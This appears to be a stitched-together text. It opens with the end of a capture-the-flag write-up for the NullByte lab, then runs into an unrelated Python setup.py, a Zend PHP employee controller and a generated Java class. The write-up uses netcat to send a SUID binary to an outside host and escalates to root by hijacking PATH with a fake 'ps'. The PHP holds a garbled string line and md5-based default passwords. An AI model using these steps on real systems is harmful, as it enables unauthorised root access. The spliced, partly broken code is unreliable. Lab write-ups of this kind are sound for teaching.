Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug  2 01:38:58 2015 from 192.168.1.109
ramses@NullByte:~$ hostname
NullByte
ramses@NullByte:~$ id
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
ramses@NullByte:~$
```

A quick scan around the files in ramses' directory revealed some interesting information in the .bash_history file:

```
ramses@NullByte:~$ cat .bash_history
sudo -s
su eric
exit
ls
clear
cd /var/www
cd backup/
ls
./procwatch
clear
sudo -s
cd /
ls
exit
```

Looks like there was something called procwatch in /var/www/backup. This file was SUID root, which made me suspect that it might be exploitable in some way.

```
ramses@NullByte:~$ ls -l /var/www/backup/procwatch
-rwsr-xr-x 1 root root 4932 Aug  2 01:29 /var/www/backup/procwatch
```

procwatch appeared to just run ps:

```
ramses@NullByte:~$ /var/www/backup/procwatch
  PID TTY          TIME CMD
 1430 pts/0    00:00:00 procwatch
 1431 pts/0    00:00:00 sh
 1432 pts/0    00:00:00 ps
```

So I decided to transfer the binary over to my machine for further examination. I setup a netcat listener to receive procwatch and used netcat on the target to send it over.

```
ramses@NullByte:/var/www/backup$ nc 192.168.107.129 4444 < procwatch
```

With the binary on hand, I loaded it up in gdb to see what was going on:

```
# gdb -q procwatch
Reading symbols from /root/nullbyte/procwatch...(no debugging symbols found)...done.
gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x080483fb <+0>: lea    ecx,[esp+0x4]
   0x080483ff <+4>: and    esp,0xfffffff0
   0x08048402 <+7>: push   DWORD PTR [ecx-0x4]
   0x08048405 <+10>:    push   ebp
   0x08048406 <+11>:    mov    ebp,esp
   0x08048408 <+13>:    push   ecx
   0x08048409 <+14>:    sub    esp,0x44
   0x0804840c <+17>:    lea    eax,[ebp-0x3a]
   0x0804840f <+20>:    mov    WORD PTR [eax],0x7370
   0x08048414 <+25>:    mov    BYTE PTR [eax+0x2],0x0
   0x08048418 <+29>:    sub    esp,0xc
   0x0804841b <+32>:    lea    eax,[ebp-0x3a]
   0x0804841e <+35>:    push   eax
   0x0804841f <+36>:    call   0x80482d0 <system@plt>
   0x08048424 <+41>:    add    esp,0x10
   0x08048427 <+44>:    mov    eax,0x0
   0x0804842c <+49>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x0804842f <+52>:    leave
   0x08048430 <+53>:    lea    esp,[ecx-0x4]
   0x08048433 <+56>:    ret
End of assembler dump.
```

I set a breakpoint at the call to system() and ran it. Once it hit the breakpoint, I looked at the arguments being passed to system:

```
Guessed arguments:
arg[0]: 0xfff4906e --> 0x7370 ('ps')
arg[1]: 0x0
arg[2]: 0xc2
arg[3]: 0xf76735a6 (test   eax,eax)
```

Sure enough, it was running ps, but without an absolute path. That meant I could trick the binary into running my own ps as long as I made the current directory the priority in my PATH environment.

Back on the target I updated my PATH environment and symlinked /bin/sh into ps. Running procwatch again gave me a root shell:

```
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ ./procwatch
# id
uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)
```

All that was left was to read the flag:

```
# ls /root
proof.txt
# cat /root/proof.txt
adf11c7a9e6523e630aaf3b9b7acb51d

It seems that you have pwned the box, congrats.
Now you done that I wanna talk with you. Write a walk & mail at
xly0n@sigaint.org attach the walk and proof.txt
If sigaint.org is down you may mail at nbsly0n@gmail.com

USE THIS PGP PUBLIC KEY

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0

mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----
```

Done and done!


text:
from setuptools import setup, find_packages

setup(
    name='ppp_core',
    version='0.7.5',
    description='Core/router of the PPP framework.',
    url='https://github.com/ProjetPP/PPP-Core',
    author='Valentin Lorentz',
    author_email='valentin.lorentz+ppp@ens-lyon.org',
    license='MIT',
    classifiers=[
        'Environment :: No Input/Output (Daemon)',
        'Development Status :: 1 - Planning',
        'Intended Audience :: System Administrators',
        'License :: OSI Approved :: MIT License',
        'Operating System :: OS Independent',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.2',
        'Programming Language :: Python :: 3.3',
        'Programming Language :: Python :: 3.4',
        'Topic :: Internet :: WWW/HTTP :: WSGI :: Application',
    ],
    install_requires=[
        'requests',
        'ppp_datamodel>=0.5.2,<0.7',
        'ppp_libmodule>=0.7,<0.8',
    ],
    packages=[
        'ppp_core',
    ],
)


text:
<?php

namespace Employee\Controller;

use Zend\Mvc\Controller\AbstractActionController;
use Zend\View\Model\ViewModel;
use Zend\View\Model\JsonModel;

use Employee\Form\EmployeeForm;
use Employee\Form\Filter\EmployeeFilter;
use Application\Service\Upload;

class IndexController extends AbstractActionController {

    protected $countryTable;
    protected $companyTable;
    protected $roleTable;
    protected $employeeTable;
    protected $branchTable;
    protected $branchsTable;

    public function __construct() {

    }

    function indexAction() {
        if ($this->getRequest()->isXmlHttpRequest()) {
            $draw = $this->getRequest()->getQuery('draw', 1);
            $length = $this->getRequest()->getQuery('length', 10);
            $offset = $this->getRequest()->getQuery('start', 0);
            $search = $this->getRequest()->getQuery('search', null);
            $order = $this->getRequest()->getQuery('order', null);
            $conditions = array(
                'fields' => array('*'),
                'filters' => array(),
                'joins' => array(
                    array(
                        'table' => 'roles',
                        'mapping' => 'employees.role_id = roles.id',
                        'fields' => array('role_name' => 'name')
                    )
                ),
                'limit' => (int) $length,
                'offset' => (int) $offset,
                'search' => array()
            );
            if (!empty($search['value'])) {
                $conditions['search'] = array(
                    'term' => $search['value'],
					'type'=> 'OR',
                    'fields' => array('employee_code', 'firstname', 'lastname', 'introducer_code', 'roles.name','mobile_number','gender')
                );
            }
            $auth = $this->getServiceLocator()->get('AuthService');
            $authData = $auth->getIdentity();
            $roleId = $authData->role_id;
            if ($roleId == 1 || $roleId == 2) {

            } else {
                $conditions['filters'][] = array('employees.branch_id' => $authData->branch->id);
                $conditions['filters'][] = array('employees.is_deleted' => 0);
            }
            $employees = $this->getTable($this->employeeTable, 'Application\Model\EmployeeTable')->fetchAll($conditions);
            $employeesTotal = $this->getTable($this->employeeTable, 'Application\Model\EmployeeTable')->fetchTotal($conditions);
            $data = array();
			$i = $offset+1;
            $basePath = $this->getServiceLocator()->get('Request')->getBasePath();
            foreach ($employees as $employee) {
                $data[] = array(
                    $i++,
                    $employee->employee_code,
                    $employee->firstname . ' ' . $employee->lastname,
                    $employee->introducer_code,
                    ($employee->role_name == 'LMS')?'':$employee->role_name,
                    $employee->mobile_number,
                    $employee->gender,
                    'getServiceLocator()->get('Request')->getBasePath().'/employee/new/'.$employee->id.'"> | id.')" href="javascript:void(0);">',
                );
            }
            return new JsonModel(array(
                "draw" => (int) $draw,
                "recordsTotal" => (int) $employeesTotal->count(),
                "recordsFiltered" => (int) $employeesTotal->count(),
                "data" => $data,
               )
            );
        }
        return new ViewModel(array());
    }

    function newAction() {
        $employeeId = $this->params()->fromRoute('id', 0);
        $employeeForm = new EmployeeForm($this->getServiceLocator());
        $employeeForm->setInputFilter(new EmployeeFilter($this->getServiceLocator()));
        $request = $this->getRequest();

        $auth = $this->getServiceLocator()->get('AuthService');
        $authData = $auth->getIdentity();
        $branches = $this->getTable($this->branchsTable, 'Application\Model\BranchsTable')->fetchAllAsArray($authData->branch->company_id);
        $employeeForm->get('branch_id')->setValueOptions($branches);
        $roles = $this->getTable($this->roleTable, 'Application\Model\RoleTable')->fetchAllAsArray();
        unset($roles['1']);unset($roles['2']);
        $employeeForm->get('role_id')->setValueOptions($roles);

        if ($employeeId) {
            $employee = $this->getTable($this->employeeTable, 'Application\Model\EmployeeTable')->find($employeeId);
            $employeeForm->get('member_id')->setValue($employee->member_id)->setAttribute('readonly', 'readonly');
            $employeeForm->get('firstname')->setValue($employee->firstname);
            $employeeForm->get('lastname')->setValue($employee->lastname);
            $employeeForm->get('emailid')->setValue($employee->emailid);
            $employeeForm->getInputFilter()->remove('emailid');
            $employeeForm->get('userid')->setValue($employee->userid);
            $employeeForm->get('password')->setValue($employee->password);
            $employeeForm->get('branch_id')->setValue($employee->branch_id);
            $employeeForm->get('mobile_number')->setValue($employee->mobile_number);
            $employeeForm->get('dob')->setValue($employee->dob);
            $employeeForm->get('gender')->setValue($employee->gender);
            $employeeForm->get('country_id')->setValue($employee->country_id);
            $employeeForm->get('state_id')->setValue($employee->state_id);
            $employeeForm->get('city_id')->setValue($employee->city_id);
            $employeeForm->get('address')->setValue($employee->address);
            $employeeForm->get('pan_number')->setValue($employee->pan_number);
            $employeeForm->get('gardian_name')->setValue($employee->gardian_name);
            $employeeForm->get('nominee_relation')->setValue($employee->nominee_relation);
            $employeeForm->get('nominee_address')->setValue($employee->nominee_address);
            $employeeForm->get('nominee_name')->setValue($employee->nominee_name);
            $employeeForm->get('employee_code')->setValue($employee->employee_code);
            $employeeForm->get('introducer_code')->setValue($employee->introducer_code);
            $employeeForm->get('role_id')->setValue($employee->role_id);
            $employeeForm->get('company_id')->setValue($employee->company_id);
        }

        if ($request->isPost()) {
            $data = $request->getPost();
            $employeeForm->setData($data);
            if ($employeeForm->isValid()) {
                if (empty($data['employee_code'])) {
                    $branch = $this->getTable($this->branchTable, 'Application\Model\BranchsTable')->find($data['branch_id']);
                    $maxIdData = $this->getTable($this->employeeTable, 'Application\Model\EmployeeTable')->findMaxId($data['branch_id']);
                    $maxId = $maxIdData->max_id;
                    $maxId = $maxId + 1;
                    $code = $branch->code . sprintf('%08d', $maxId);
                    $data['employee_code'] = $code;
                }
                if (empty($data['userid'])) {
                    $data['userid'] = $data['employee_code'];
                }
                if (empty($data['password'])) {
                    $data['password'] = md5($data['employee_code']);
                }
                if(empty($data['company_id'])) {
                    $data['company_id'] = $authData->company_id;
                }
                $data['created_by'] = $authData->id;
                $data['created_at'] = date('Y-m-d H:i:s');
                $data['updated_by'] = $authData->id;
                if ($employeeId) {
                    $data->id = $employeeId;
                    unset($data['member_id']);
                    unset($data['employee_code']);
                    unset($data['created_by']);
                    unset($data['created_at']);
                }
                $data = $data->toArray();
                try{
                    $employeeId = $this->getTable($this->employeeTable, 'Application\Model\EmployeeTable')->save($data);
                    if ($employeeId) {
                        $this->flashMessenger()->addMessage('Agent created successfully!', 'success');
                        $this->redirect()->toRoute('employees');
                    } else {
                        $this->flashMessenger()->addMessage('Oops! there are some error with this process. Please try after some time!', 'error');
                    }
                } catch(\Exception $e){
                    //print_r($e->getMessage()); exit;
                    $this->flashMessenger()->addMessage('Oops! there are some error with this process. Please try after some time!', 'error');
                    //$this->flashMessenger()->addMessage($e->getMessage(), 'error');
                    $this->redirect()->toRoute('employees');
                }
            }
        }

        $basePath = $this->getServiceLocator()->get('Request')->getBasePath();
        $this->getServiceLocator()->get('viewhelpermanager')->get('headLink')->appendStylesheet($basePath . '/css/jquery-ui.css');
        $this->getServiceLocator()->get('viewhelpermanager')->get('headScript')->appendFile($basePath . '/js/jquery-ui.js');

        return new ViewModel(array(
                'employeeForm' => $employeeForm,
            )
        );
    }

    public function getTable($table, $name) {
        if (!$table) {
            $sm = $this->getServiceLocator();
            $table = $sm->get($name);
        }
        return $table;
    }

}

?>


text:
// This file is automatically generated.

package adila.db;

/*
 * Cellon Starmobile KNIGHT
 *
 * DEVICE: KNIGHT
 * MODEL: Starmobile KNIGHT
 */
final class knight_starmobile20knight {
    public static final String DATA = "Cellon|Starmobile KNIGHT|";
}